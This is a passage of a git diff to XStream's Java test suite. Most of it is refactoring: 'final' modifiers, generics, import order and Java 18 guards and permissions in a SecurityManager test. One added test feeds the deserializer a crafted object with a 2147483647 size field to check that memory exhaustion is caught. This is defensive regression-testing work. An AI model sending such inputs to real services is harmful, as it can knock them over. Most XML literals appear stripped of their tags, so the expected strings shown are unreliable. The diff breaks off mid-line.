testResolveToNull() throws IOException, ClassNotFoundException { - ResolveToNull obj = new ResolveToNull("test"); - - ByteArrayOutputStream bout = new ByteArrayOutputStream(); - ObjectOutputStream os = new ObjectOutputStream(bout); + final ResolveToNull obj = new ResolveToNull("test"); + + final ByteArrayOutputStream bout = new ByteArrayOutputStream(); + final ObjectOutputStream os = new ObjectOutputStream(bout); os.writeObject(obj); - - byte[] bArray = bout.toByteArray(); + + final byte[] bArray = bout.toByteArray(); ObjectInputStream in = null; - ByteArrayInputStream bin = new ByteArrayInputStream(bArray); + final ByteArrayInputStream bin = new ByteArrayInputStream(bArray); in = new ObjectInputStream(bin); assertNull(in.readObject()); - + xstream.alias("toNull", ResolveToNull.class); assertNull(xstream.fromXML("test")); } + + public void testOutOfMemoryInReadObject() { + final String xml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " 2147483647\n" + + " \n" + + " 2\n" + + " \n" + + ""; + + try { + xstream.fromXML(xml); + fail("Thrown " + ConversionException.class.getName() + " expected"); + } catch (final ConversionException e) { + // OK + } + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/ReflectionClassesTest.java b/xstream/src/test/com/thoughtworks/acceptance/ReflectionClassesTest.java index fe111155c..68053c274 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ReflectionClassesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ReflectionClassesTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. April 2004 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -15,63 +15,65 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; + public class ReflectionClassesTest extends AbstractAcceptanceTest { public static class StupidObject { public String aField; public static int aStaticField; - public StupidObject(String arg) { + + public StupidObject(final String arg) { } - public void aMethod(String something) { + public void aMethod(final String something) { } - public void aMethod(int cheese) { + public void aMethod(final int cheese) { } - public static void aStaticMethod(boolean bool) { + public static void aStaticMethod(final boolean bool) { } } public void testReflectionMethod() throws NoSuchMethodException { - Method method = StupidObject.class.getMethod("aMethod", new Class[]{String.class}); + final Method method = StupidObject.class.getMethod("aMethod", new Class[]{String.class}); - String expected = - "\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - " aMethod\n" + - " \n" + - " java.lang.String\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + " aMethod\n" + + " \n" + + " java.lang.String\n" + + " \n" + + ""; assertBothWays(method, expected); } public void testReflectionStaticMethod() throws NoSuchMethodException { - Method method = StupidObject.class.getMethod("aStaticMethod", new Class[]{boolean.class}); + final Method method = StupidObject.class.getMethod("aStaticMethod", new Class[]{boolean.class}); - String expected = - "\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - " aStaticMethod\n" + - " \n" + - " boolean\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + " aStaticMethod\n" + + " \n" + + " boolean\n" + + " \n" + + ""; assertBothWays(method, expected); } public void testReflectionConstructor() throws NoSuchMethodException { - Constructor constructor = StupidObject.class.getConstructor(new Class[]{String.class}); + final Constructor constructor = StupidObject.class.getConstructor(String.class); - String expected = - "\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - " \n" + - " java.lang.String\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + " \n" + + " java.lang.String\n" + + " \n" + + ""; assertBothWays(constructor, expected); } @@ -81,49 +83,49 @@ public void testSupportsPrimitiveTypes() { } public void testReflectionField() throws NoSuchFieldException { - Field field = StupidObject.class.getField("aField"); + final Field field = StupidObject.class.getField("aField"); - String expected = - "\n" + - " aField\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - ""; + final String expected = "" + + "\n" + + " aField\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + ""; assertBothWays(field, expected); } public void testReflectionStaticField() throws NoSuchFieldException { - Field field = StupidObject.class.getField("aStaticField"); + final Field field = StupidObject.class.getField("aStaticField"); - String expected = - "\n" + - " aStaticField\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - ""; + final String expected = "" + + "\n" + + " aStaticField\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + ""; assertBothWays(field, expected); } public void testReflectionFieldMigrationFrom13() throws NoSuchFieldException { - Field field = StupidObject.class.getField("aField"); - - String xml = - "\n" + - " false\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - " 0\n" + - " aField\n" + - " java.lang.String\n" + - " 1\n" + - " \n" + - " false\n" + - " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + - " 0\n" + - " aField\n" + - " java.lang.String\n" + - " 1\n" + - " \n" + - ""; + final Field field = StupidObject.class.getField("aField"); + + final String xml = "" + + "\n" + + " false\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + " 0\n" + + " aField\n" + + " java.lang.String\n" + + " 1\n" + + " \n" + + " false\n" + + " com.thoughtworks.acceptance.ReflectionClassesTest$StupidObject\n" + + " 0\n" + + " aField\n" + + " java.lang.String\n" + + " 1\n" + + " \n" + + ""; assertEquals(field, xstream.fromXML(xml)); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/RelativeSingleNodeXPathReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/RelativeSingleNodeXPathReferenceTest.java index d313db1c7..db31144c8 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/RelativeSingleNodeXPathReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/RelativeSingleNodeXPathReferenceTest.java @@ -1,29 +1,30 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 30. July 2011 by Joerg Schaible by merging + * + * Created on 30. July 2011 by Joerg Schaible by merging * RelativeSingleNodeXPathCircularReferenceTest and * RelativeSingleNodeXPathDuplicateReferenceTest. */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.mapper.Mapper; - import java.util.ArrayList; import java.util.List; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.mapper.Mapper; + public class RelativeSingleNodeXPathReferenceTest extends AbstractReferenceTest { // tests inherited from superclass + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.SINGLE_NODE_XPATH_RELATIVE_REFERENCES); @@ -31,15 +32,15 @@ protected void setUp() throws Exception { public void testXmlContainsReferencePaths() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String expected = "" + final String expected = "" + "\n" + " \n" + " hello\n" @@ -54,9 +55,9 @@ public void testXmlContainsReferencePaths() { } public void testTree() { - TreeElement root = new TreeElement("X"); - TreeElement left = new TreeElement("Y"); - TreeElement right = new TreeElement("Z"); + final TreeElement root = new TreeElement("X"); + final TreeElement left = new TreeElement("Y"); + final TreeElement right = new TreeElement("Z"); root.left = left; root.right = right; left.left = new TreeElement(root.name); @@ -64,7 +65,7 @@ public void testTree() { right.left = left.left; xstream.alias("elem", TreeElement.class); - String expected = "" + final String expected = "" + "\n" + " X\n" + " \n" @@ -85,8 +86,9 @@ public void testTree() { assertEquals(expected, xstream.toXML(root)); } + @Override public void testReplacedReference() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " parent\n" + " \n" @@ -100,15 +102,15 @@ public void testReplacedReference() { replacedReference(expectedXml); } - + public void testCanReferenceDeserializedNullValues() { xstream.alias("test", Mapper.Null.class); - String xml = "" - + "\n" - + " \n" - + " \n" - + ""; - List list = (List)xstream.fromXML(xml); + final String xml = "" // + + "\n" + + " \n" + + " \n" + + ""; + final List list = xstream.fromXML(xml); assertEquals(2, list.size()); assertNull(list.get(0)); assertNull(list.get(1)); diff --git a/xstream/src/test/com/thoughtworks/acceptance/RelativeXPathReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/RelativeXPathReferenceTest.java index 33c90df75..662cca2e6 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/RelativeXPathReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/RelativeXPathReferenceTest.java @@ -1,31 +1,32 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible by merging RelativeXPathCircularReferenceTest, * RelativeXPathDuplicateReferenceTest, RelativeXPathNestedCircularReferenceTest and * RelativeXPathReplacedReferenceTest. */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.mapper.Mapper; - import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.mapper.Mapper; + public class RelativeXPathReferenceTest extends AbstractReferenceTest { // tests inherited from superclass + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES); @@ -33,15 +34,15 @@ protected void setUp() throws Exception { public void testXmlContainsReferencePaths() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String expected = "" + final String expected = "" + "\n" + " \n" + " hello\n" @@ -56,12 +57,12 @@ public void testXmlContainsReferencePaths() { } public void testCircularReferenceXml() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -74,10 +75,10 @@ public void testCircularReferenceXml() { } public void testCircularReferenceToSelfXml() { - Person bob = new Person("bob"); + final Person bob = new Person("bob"); bob.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -87,15 +88,15 @@ public void testCircularReferenceToSelfXml() { } public void testRing() { - LinkedElement tom = new LinkedElement("Tom"); - LinkedElement dick = new LinkedElement("Dick"); - LinkedElement harry = new LinkedElement("Harry"); + final LinkedElement tom = new LinkedElement("Tom"); + final LinkedElement dick = new LinkedElement("Dick"); + final LinkedElement harry = new LinkedElement("Harry"); tom.next = dick; dick.next = harry; harry.next = tom; xstream.alias("elem", LinkedElement.class); - String expected = "" + final String expected = "" + "\n" + " Tom\n" + " \n" @@ -111,9 +112,9 @@ public void testRing() { } public void testTree() { - TreeElement root = new TreeElement("X"); - TreeElement left = new TreeElement("Y"); - TreeElement right = new TreeElement("Z"); + final TreeElement root = new TreeElement("X"); + final TreeElement left = new TreeElement("Y"); + final TreeElement right = new TreeElement("Z"); root.left = left; root.right = right; left.left = new TreeElement(root.name); @@ -121,7 +122,7 @@ public void testTree() { right.left = left.left; xstream.alias("elem", TreeElement.class); - String expected = "" + final String expected = "" + "\n" + " X\n" + " \n" @@ -142,8 +143,9 @@ public void testTree() { assertEquals(expected, xstream.toXML(root)); } + @Override public void testReplacedReference() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " parent\n" + " \n" @@ -157,50 +159,55 @@ public void testReplacedReference() { replacedReference(expectedXml); } - + public void testCanReferenceDeserializedNullValues() { xstream.alias("test", Mapper.Null.class); - String xml = "" - + "\n" - + " \n" - + " \n" - + ""; - List list = (List)xstream.fromXML(xml); + final String xml = "" // + + "\n" + + " \n" + + " \n" + + ""; + final List list = xstream.fromXML(xml); assertEquals(2, list.size()); assertNull(list.get(0)); assertNull(list.get(1)); } - - static class RecursiveThing { - final Map map = new HashMap(); + + static class RecursiveThing { + final Map, V> map = new HashMap<>(); final String name; // wrong definition order for HashMap! - public RecursiveThing(String name) { + + public RecursiveThing(final String name) { this.name = name; } + + @Override public int hashCode() { return name.hashCode(); } - public boolean equals(Object obj) { - return obj.getClass().equals(RecursiveThing.class) && name.equals(((RecursiveThing)obj).name); + + @Override + public boolean equals(final Object obj) { + return obj.getClass().equals(RecursiveThing.class) && name.equals(((RecursiveThing)obj).name); } } public void todoTestRecursiveMap() { - RecursiveThing thing = new RecursiveThing("joe"); + final RecursiveThing thing = new RecursiveThing<>("joe"); thing.map.put(thing, "walnes"); - + xstream.alias("rec-thing", RecursiveThing.class); - String expected = "" - + "\n" - + " \n" - + " \n" - + " \n" - + " walnes\n" - + " \n" - + " \n" - + " joe\n" - + ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " walnes\n" + + " \n" + + " \n" + + " joe\n" + + ""; assertBothWays(thing, expected); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/SecurityManagerTest.java b/xstream/src/test/com/thoughtworks/acceptance/SecurityManagerTest.java index 5a8acf80c..a9d0ceee2 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SecurityManagerTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SecurityManagerTest.java @@ -1,42 +1,45 @@ /* - * Copyright (C) 2006, 2007, 2009, 2010, 2013, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2010, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 24. March 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.Software; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; -import com.thoughtworks.xstream.io.xml.DomDriver; -import com.thoughtworks.xstream.testutil.DynamicSecurityManager; - -import junit.framework.TestCase; - -import org.apache.commons.lang3.StringUtils; - import java.io.File; import java.io.FilePermission; +import java.io.SerializablePermission; import java.lang.reflect.ReflectPermission; import java.net.NetPermission; import java.security.CodeSource; import java.security.Permission; import java.security.Policy; import java.security.cert.Certificate; -import java.util.Iterator; import java.util.PropertyPermission; +import org.apache.commons.lang3.StringUtils; + +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; +import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.io.xml.SimpleStaxDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; +import com.thoughtworks.xstream.testutil.DynamicSecurityManager; + +import junit.framework.TestCase; + /** - * Test XStream with an active SecurityManager. Note, that it is intentional, that this test is - * not derived from AbstractAcceptanceTest to avoid loaded classes before the SecurityManager is - * in action. Also run each fixture in its own to avoid side-effects. - * + * Test XStream with an active SecurityManager. Note, that it is intentional, that this test is not derived from + * AbstractAcceptanceTest to avoid loaded classes before the SecurityManager is in action. Also run each fixture in its + * own to avoid side-effects. + * * @author Jörg Schaible */ public class SecurityManagerTest extends TestCase { @@ -45,50 +48,123 @@ public class SecurityManagerTest extends TestCase { private DynamicSecurityManager sm; private CodeSource source; + @Override protected void setUp() throws Exception { super.setUp(); + if (JVM.isVersion(18)) + return; + System.setSecurityManager(null); source = new CodeSource(new File("target").toURI().toURL(), (Certificate[])null); sm = new DynamicSecurityManager(); - Policy policy = Policy.getPolicy(); + final Policy policy = Policy.getPolicy(); sm.setPermissions(source, policy.getPermissions(source)); sm.addPermission(source, new RuntimePermission("setSecurityManager")); - - File mainClasses = new File(System.getProperty("user.dir"), "target/classes/-"); - File testClasses = new File(System.getProperty("user.dir"), "target/test-classes/-"); - String[] javaClassPath = StringUtils.split(System.getProperty("java.class.path"), File.pathSeparatorChar); - File javaHome = new File(System.getProperty("java.home"), "-"); - + + final File mainClasses = new File(System.getProperty("user.dir"), "target/classes/-"); + final File testClasses = new File(System.getProperty("user.dir"), "target/test-classes/-"); + final String[] javaClassPath = StringUtils.split(System.getProperty("java.class.path"), File.pathSeparatorChar); + final File javaHome = new File(System.getProperty("java.home"), "-"); + // necessary permission start here sm.addPermission(source, new FilePermission(mainClasses.toString(), "read")); sm.addPermission(source, new FilePermission(testClasses.toString(), "read")); sm.addPermission(source, new FilePermission(javaHome.toString(), "read")); - for (int i = 0; i < javaClassPath.length; ++i) { - if (javaClassPath[i].endsWith(".jar")) { - sm.addPermission(source, new FilePermission(javaClassPath[i], "read")); + for (final String element : javaClassPath) { + if (element.endsWith(".jar")) { + sm.addPermission(source, new FilePermission(element, "read")); + } else { + sm.addPermission(source, new FilePermission(element + + "/META-INF/services/java.time.chrono.AbstractChronology", "read")); + sm.addPermission(source, new FilePermission(element + "/META-INF/services/java.time.chrono.Chronology", + "read")); } } } + @Override protected void tearDown() throws Exception { - System.setSecurityManager(null); + if (!JVM.isVersion(18)) { + System.setSecurityManager(null); + } super.tearDown(); } + @Override protected void runTest() throws Throwable { try { super.runTest(); - } catch(Throwable e) { - for (final Iterator iter = sm.getFailedPermissions().iterator(); iter.hasNext();) { - final Permission permission = (Permission)iter.next(); + } catch (final Throwable e) { + for (final Permission permission : sm.getFailedPermissions()) { System.out.println("SecurityException: Permission " + permission.toString()); } throw e; } } - public void testSerializeWithXppDriverAndSun14ReflectionProviderAndActiveSecurityManager() { + public void testSerializeWithSimpleStaxDriverAndSunUnsafeReflectionProviderAndActiveSecurityManager() { + if (JVM.isVersion(18)) + return; + + sm.addPermission(source, new RuntimePermission("accessClassInPackage.com.sun.xml.internal.stream")); + sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.misc")); + sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.util.resources")); + sm.addPermission(source, new RuntimePermission("accessDeclaredMembers")); + sm.addPermission(source, new RuntimePermission("createClassLoader")); + sm.addPermission(source, new RuntimePermission("fileSystemProvider")); + sm.addPermission(source, new RuntimePermission("getClassLoader")); + sm.addPermission(source, new RuntimePermission("getProtectionDomain")); + sm.addPermission(source, new RuntimePermission("loadLibrary.nio")); + sm.addPermission(source, new PropertyPermission("elementAttributeLimit", "read")); + sm.addPermission(source, new PropertyPermission("entityExpansionLimit", "read")); + sm.addPermission(source, new PropertyPermission("java.home", "read")); + sm.addPermission(source, new PropertyPermission("java.locale.providers", "read")); + sm.addPermission(source, new PropertyPermission("java.nio.file.spi.DefaultFileSystemProvider", "read")); + sm.addPermission(source, new PropertyPermission("java.util.Arrays.useLegacyMergeSort", "read")); + sm.addPermission(source, new PropertyPermission("java.util.currency.data", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.accessExternalDTD", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.accessExternalSchema", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.datatype.DatatypeFactory", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.parsers.SAXParserFactory", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.useCatalog", "read")); + sm.addPermission(source, new PropertyPermission("jaxp.debug", "read")); + sm.addPermission(source, new PropertyPermission("jdk.calendar.japanese.supplemental.era", "read")); + sm.addPermission(source, new PropertyPermission("jdk.internal.lambda.dumpProxyClasses", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.cdataChunkSize", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.elementAttributeLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.entityExpansionLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.entityReplacementLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.maxElementDepth", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.maxGeneralEntitySizeLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.maxOccurLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.maxParameterEntitySizeLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.maxXMLNameLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.overrideDefaultParser", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.resetSymbolTable", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.totalEntitySizeLimit", "read")); + sm.addPermission(source, new PropertyPermission("maxOccurLimit", "read")); + sm.addPermission(source, new PropertyPermission("sun.io.serialization.extendedDebugInfo", "read")); + sm.addPermission(source, new PropertyPermission("sun.jnu.encoding", "read")); + sm.addPermission(source, new PropertyPermission("sun.nio.fs.chdirAllowed", "read")); + sm.addPermission(source, new PropertyPermission("sun.timezone.ids.oldmapping", "read")); + sm.addPermission(source, new PropertyPermission("user.dir", "read")); + sm.addPermission(source, new PropertyPermission("user.timezone", "read,write")); + sm.addPermission(source, new ReflectPermission("suppressAccessChecks")); + sm.addPermission(source, new NetPermission("specifyStreamHandler")); + sm.addPermission(source, new SerializablePermission("enableSubclassImplementation")); + sm.setReadOnly(); + System.setSecurityManager(sm); + + xstream = new XStream(new SimpleStaxDriver()); + + assertBothWays(); + } + + public void testSerializeWithXppDriverAndSunUnsafeReflectionProviderAndActiveSecurityManager() { + if (JVM.isVersion(18)) + return; + sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.reflect")); sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.misc")); sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.text.resources")); @@ -96,17 +172,25 @@ public void testSerializeWithXppDriverAndSun14ReflectionProviderAndActiveSecurit sm.addPermission(source, new RuntimePermission("accessDeclaredMembers")); sm.addPermission(source, new RuntimePermission("createClassLoader")); sm.addPermission(source, new RuntimePermission("fileSystemProvider")); + sm.addPermission(source, new RuntimePermission("getClassLoader")); + sm.addPermission(source, new RuntimePermission("getProtectionDomain")); sm.addPermission(source, new RuntimePermission("loadLibrary.nio")); sm.addPermission(source, new RuntimePermission("modifyThreadGroup")); sm.addPermission(source, new RuntimePermission("reflectionFactoryAccess")); sm.addPermission(source, new PropertyPermission("ibm.dst.compatibility", "read")); sm.addPermission(source, new PropertyPermission("java.home", "read")); + sm.addPermission(source, new PropertyPermission("java.locale.providers", "read")); sm.addPermission(source, new PropertyPermission("java.nio.file.spi.DefaultFileSystemProvider", "read")); sm.addPermission(source, new PropertyPermission("java.security.debug", "read")); + sm.addPermission(source, new PropertyPermission("java.util.Arrays.useLegacyMergeSort", "read")); + sm.addPermission(source, new PropertyPermission("java.util.currency.data", "read")); sm.addPermission(source, new PropertyPermission("javax.xml.datatype.DatatypeFactory", "read")); sm.addPermission(source, new PropertyPermission("jaxp.debug", "read")); + sm.addPermission(source, new PropertyPermission("jdk.internal.lambda.dumpProxyClasses", "read")); sm.addPermission(source, new PropertyPermission("jdk.util.TimeZone.allowSetDefault", "read")); sm.addPermission(source, new PropertyPermission("sun.boot.class.path", "read")); + sm.addPermission(source, new PropertyPermission("sun.io.serialization.extendedDebugInfo", "read")); + sm.addPermission(source, new PropertyPermission("sun.jnu.encoding", "read")); sm.addPermission(source, new PropertyPermission("sun.nio.fs.chdirAllowed", "read")); sm.addPermission(source, new PropertyPermission("sun.timezone.ids.oldmapping", "read")); sm.addPermission(source, new PropertyPermission("user.country", "read")); @@ -114,34 +198,43 @@ public void testSerializeWithXppDriverAndSun14ReflectionProviderAndActiveSecurit sm.addPermission(source, new PropertyPermission("user.timezone", "read,write")); sm.addPermission(source, new ReflectPermission("suppressAccessChecks")); sm.addPermission(source, new NetPermission("specifyStreamHandler")); + sm.addPermission(source, new SerializablePermission("enableSubclassImplementation")); sm.setReadOnly(); System.setSecurityManager(sm); - xstream = new XStream(); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + xstream = new XStream(new Xpp3Driver()); assertBothWays(); } public void testSerializeWithXppDriverAndPureJavaReflectionProviderAndActiveSecurityManager() { + if (JVM.isVersion(18)) + return; + sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.misc")); sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.text.resources")); sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.util.resources")); sm.addPermission(source, new RuntimePermission("accessDeclaredMembers")); sm.addPermission(source, new RuntimePermission("createClassLoader")); sm.addPermission(source, new RuntimePermission("fileSystemProvider")); + sm.addPermission(source, new RuntimePermission("getClassLoader")); + sm.addPermission(source, new RuntimePermission("getProtectionDomain")); sm.addPermission(source, new RuntimePermission("loadLibrary.nio")); sm.addPermission(source, new RuntimePermission("modifyThreadGroup")); sm.addPermission(source, new PropertyPermission("ibm.dst.compatibility", "read")); sm.addPermission(source, new PropertyPermission("java.home", "read")); + sm.addPermission(source, new PropertyPermission("java.locale.providers", "read")); sm.addPermission(source, new PropertyPermission("java.nio.file.spi.DefaultFileSystemProvider", "read")); sm.addPermission(source, new PropertyPermission("java.security.debug", "read")); + sm.addPermission(source, new PropertyPermission("java.util.Arrays.useLegacyMergeSort", "read")); + sm.addPermission(source, new PropertyPermission("java.util.currency.data", "read")); sm.addPermission(source, new PropertyPermission("javax.xml.datatype.DatatypeFactory", "read")); sm.addPermission(source, new PropertyPermission("jaxp.debug", "read")); + sm.addPermission(source, new PropertyPermission("jdk.internal.lambda.dumpProxyClasses", "read")); sm.addPermission(source, new PropertyPermission("jdk.util.TimeZone.allowSetDefault", "read")); sm.addPermission(source, new PropertyPermission("sun.boot.class.path", "read")); sm.addPermission(source, new PropertyPermission("sun.io.serialization.extendedDebugInfo", "read")); + sm.addPermission(source, new PropertyPermission("sun.jnu.encoding", "read")); sm.addPermission(source, new PropertyPermission("sun.nio.fs.chdirAllowed", "read")); sm.addPermission(source, new PropertyPermission("sun.timezone.ids.oldmapping", "read")); sm.addPermission(source, new PropertyPermission("user.country", "read")); @@ -149,39 +242,53 @@ public void testSerializeWithXppDriverAndPureJavaReflectionProviderAndActiveSecu sm.addPermission(source, new PropertyPermission("user.timezone", "read,write")); sm.addPermission(source, new ReflectPermission("suppressAccessChecks")); sm.addPermission(source, new NetPermission("specifyStreamHandler")); + sm.addPermission(source, new SerializablePermission("enableSubclassImplementation")); sm.setReadOnly(); System.setSecurityManager(sm); - xstream = new XStream(new PureJavaReflectionProvider()); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + xstream = new XStream(new PureJavaReflectionProvider(), new Xpp3Driver()); assertBothWays(); } public void testSerializeWithDomDriverAndPureJavaReflectionProviderAndActiveSecurityManager() { + if (JVM.isVersion(18)) + return; + + sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.misc")); sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.text.resources")); sm.addPermission(source, new RuntimePermission("accessClassInPackage.sun.util.resources")); sm.addPermission(source, new RuntimePermission("accessDeclaredMembers")); sm.addPermission(source, new RuntimePermission("createClassLoader")); sm.addPermission(source, new RuntimePermission("fileSystemProvider")); + sm.addPermission(source, new RuntimePermission("getClassLoader")); + sm.addPermission(source, new RuntimePermission("getProtectionDomain")); sm.addPermission(source, new RuntimePermission("loadLibrary.nio")); sm.addPermission(source, new RuntimePermission("modifyThreadGroup")); sm.addPermission(source, new RuntimePermission("reflectionFactoryAccess")); - sm.addPermission(source, new PropertyPermission("com.sun.org.apache.xerces.internal.xni.parser.XMLParserConfiguration", "read")); + sm.addPermission(source, new PropertyPermission( + "com.sun.org.apache.xerces.internal.xni.parser.XMLParserConfiguration", "read")); sm.addPermission(source, new PropertyPermission("elementAttributeLimit", "read")); sm.addPermission(source, new PropertyPermission("entityExpansionLimit", "read")); - sm.addPermission(source, new PropertyPermission("http://java.sun.com/xml/dom/properties/ancestor-check", "read")); + sm.addPermission(source, new PropertyPermission("http://java.sun.com/xml/dom/properties/ancestor-check", + "read")); sm.addPermission(source, new PropertyPermission("ibm.dst.compatibility", "read")); sm.addPermission(source, new PropertyPermission("java.home", "read")); + sm.addPermission(source, new PropertyPermission("java.locale.providers", "read")); sm.addPermission(source, new PropertyPermission("java.nio.file.spi.DefaultFileSystemProvider", "read")); sm.addPermission(source, new PropertyPermission("java.security.debug", "read")); + sm.addPermission(source, new PropertyPermission("java.util.Arrays.useLegacyMergeSort", "read")); + sm.addPermission(source, new PropertyPermission("java.util.currency.data", "read")); sm.addPermission(source, new PropertyPermission("javax.xml.datatype.DatatypeFactory", "read")); sm.addPermission(source, new PropertyPermission("javax.xml.parsers.DocumentBuilderFactory", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.parsers.SAXParserFactory", "read")); sm.addPermission(source, new PropertyPermission("javax.xml.accessExternalDTD", "read")); sm.addPermission(source, new PropertyPermission("javax.xml.accessExternalSchema", "read")); + sm.addPermission(source, new PropertyPermission("javax.xml.useCatalog", "read")); sm.addPermission(source, new PropertyPermission("jaxp.debug", "read")); + sm.addPermission(source, new 